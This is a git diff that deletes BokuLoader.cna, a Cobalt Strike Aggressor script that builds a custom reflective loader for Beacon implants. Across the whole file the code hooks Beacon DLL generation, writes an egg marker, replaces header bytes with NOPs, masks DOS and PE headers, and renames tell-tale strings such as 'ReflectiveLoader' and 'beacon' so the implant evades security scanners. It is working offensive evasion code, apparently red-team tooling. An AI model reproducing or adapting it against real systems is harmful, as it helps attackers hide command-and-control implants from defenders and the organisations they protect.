diff --git a/BokuLoader.cna b/BokuLoader.cna deleted file mode 100644 index dbc16c9..0000000 --- a/BokuLoader.cna +++ /dev/null @@ -1,160 +0,0 @@ -# User Defined Reflective Loader Kit Aggressor Script - -sub setEgg{ - local('@Bytes'); - local('$Offset $Egg $beacon_dll $index $Byte $x'); - $beacon_dll = $1; - $Egg_p1 = 0xACDC; - $Egg_p2 = 0xB0C0; - $Offset = 0x50; - - #Write Egg - $index_egg = $Offset; - $beacon_dll = pe_set_short($beacon_dll, $index_egg, $Egg_p1); - $index_egg += 2; - $beacon_dll = pe_set_short($beacon_dll, $index_egg, $Egg_p2); - $index_egg += 2; - $beacon_dll = pe_set_short($beacon_dll, $index_egg, $Egg_p1); - $index_egg += 2; - $beacon_dll = pe_set_short($beacon_dll, $index_egg, $Egg_p2); - - for ($x = 0; $x < 8; $x++) { - $index = $Offset; - $index += $x; - $Byte = byteAt($beacon_dll, $index); - @Bytes[$x] = uc(formatNumber($Byte, 16)); - } - println("|_ 8 bytes at Egg offset $Offset: ".@Bytes); - return $beacon_dll; -} - -# Sets 2 Nops at a location in PE -# Arg1 = BeaconBytes ; Arg2 = Offset -sub setNops{ - local('$Offset $Nops $beacon_dll'); - $beacon_dll = $1; - $Nops = 0x9090; - $Offset = $2; - - #Write Nops - $beacon_dll = pe_set_short($beacon_dll, $Offset, $Nops); - - return $beacon_dll; -} - -sub boku_pe_mask{ - local('$maskkey'); - $temp_dll = $1; - $maskkey = 123; - # CS RDI Code push r10; pop r10; MZAR - Make it NOPNOPNOPNOP - $temp_dll = setNops($temp_dll, 0x00); - $temp_dll = setNops($temp_dll, 0x02); - # Removing before 0x32 messes with the SRDI + Cant remove 0x3C-0x3D (offset to newExeHeader) - $temp_dll = pe_mask($temp_dll, 0x33, 0x8, $maskkey); - # Remove DOS header string - $temp_dll = pe_mask($temp_dll, 0x4D, 0x02, $maskkey); - $temp_dll = pe_mask($temp_dll, 0x58, 32, $maskkey); - # PE Header - $temp_dll = pe_mask($temp_dll, 0x80, 0x4, $maskkey); - # Other Header Masking - $temp_dll = pe_mask($temp_dll, 0x84, 0x2, $maskkey); - $temp_dll = pe_mask($temp_dll, 0x88, 0xB, $maskkey); - $temp_dll = pe_mask($temp_dll, 0x96, 0x6, $maskkey); - $temp_dll = pe_mask($temp_dll, 0xBC, 0x13, $maskkey); - - return $temp_dll; -} - -sub prependBytes{ - local('$beacon_dll'); - $beacon_dll = $1; - # push rax; push rbx; pop rbx; pop rax; - $Nops = "PS[X"; - - println("[+] Prepending " . strlen($Nops) . " bytes to Beacon"); - $beacon_dll = $Nops . $beacon_dll; - - return $beacon_dll; -} - -sub boku_strrep { - local('$beacon_dll'); - $beacon_dll = $1; - $beacon_dll = strrep($beacon_dll, "ReflectiveLoader", "djoiqnfkjlnslfmn"); - $beacon_dll = strrep($beacon_dll, "Microsoft Base Cryptographic Provider v1.0", "12367321236742382543232341241261363163151d"); - $beacon_dll = strrep($beacon_dll, "(admin)", "(tomin)"); - $beacon_dll = strrep($beacon_dll, "beacon", "bacons"); - return $beacon_dll; -} - -sub generate_my_dll { - - local('$profile $handle $data $loader $temp_dll $userwx $obfuscate $sleep_mask $stomppe $name'); - - - $name = "dist/BokuLoader"; - - $profile = data_query("metadata")["c2profile"]; - - #$userwx = [$profile getString: ".stage.userwx"]; - #$obfuscate = [$profile getString: ".stage.obfuscate"]; - #$sleep_mask = [$profile getString: ".stage.sleep_mask"]; - #$stomppe = [$profile getString: ".stage.stomppe"]; - #$prepend = [$profile getString: ".stage.transform-x64.prepend"]; - - # Does not support sleep_mask since memory is allocated as RW/RX - #if ($sleep_mask eq "true") { - # warn("[!] Failure : Malleable C2 option 'stage.sleep_mask true' is not supported. Reverting to using default CS Reflective Loader."); - # return $null; - #} - - #@strings = [$profile getList: ".stage.string"]; - #println(@strings); - - $name = $name .".x64.o"; - warn("loading: " . $name); - - $handle = openf(script_resource($name)); - $data = readb($handle, -1); - closef($handle); - - warn("Loaded Length: " . strlen($data)); - - if (strlen($data) eq 0) { - warn("Error loading reflective loader object file."); - return $null; - } - - $loader = extract_reflective_loader($data); - - warn("Extracted Length: " . strlen($loader)); - - if (strlen($loader) eq 0) { - warn("Error extracting reflective loader."); - return $null; - } - - $temp_dll = setup_reflective_loader($2, $loader); - - $temp_dll = setEgg($temp_dll); - $temp_dll = boku_pe_mask($temp_dll); - $temp_dll = boku_strrep($temp_dll); - $temp_dll = prependBytes($temp_dll); - - return $temp_dll; -} - -set BEACON_RDLL_GENERATE { - warn("========== Running 'BEACON_RDLL_GENERATE' for DLL " . $1 . " with architecture " . $3 . " =========="); - return generate_my_dll($1, $2, $3); -} - -set BEACON_RDLL_GENERATE_LOCAL { - warn("========== Running 'BEACON_RDLL_GENERATE_LOCAL' for DLL " . $1 . " with architecture " . $3 . " Beacon ID " . $4 . " GetModuleHandleA " . $5 . " GetProcAddress " . $6 . " =========="); - return generate_my_dll($1, $2, $3); -} - -set BEACON_RDLL_SIZE { - warn("========== Running 'BEACON_RDLL_SIZE' for DLL Name " . $1 . " with architecture " . $2); - return "100"; -}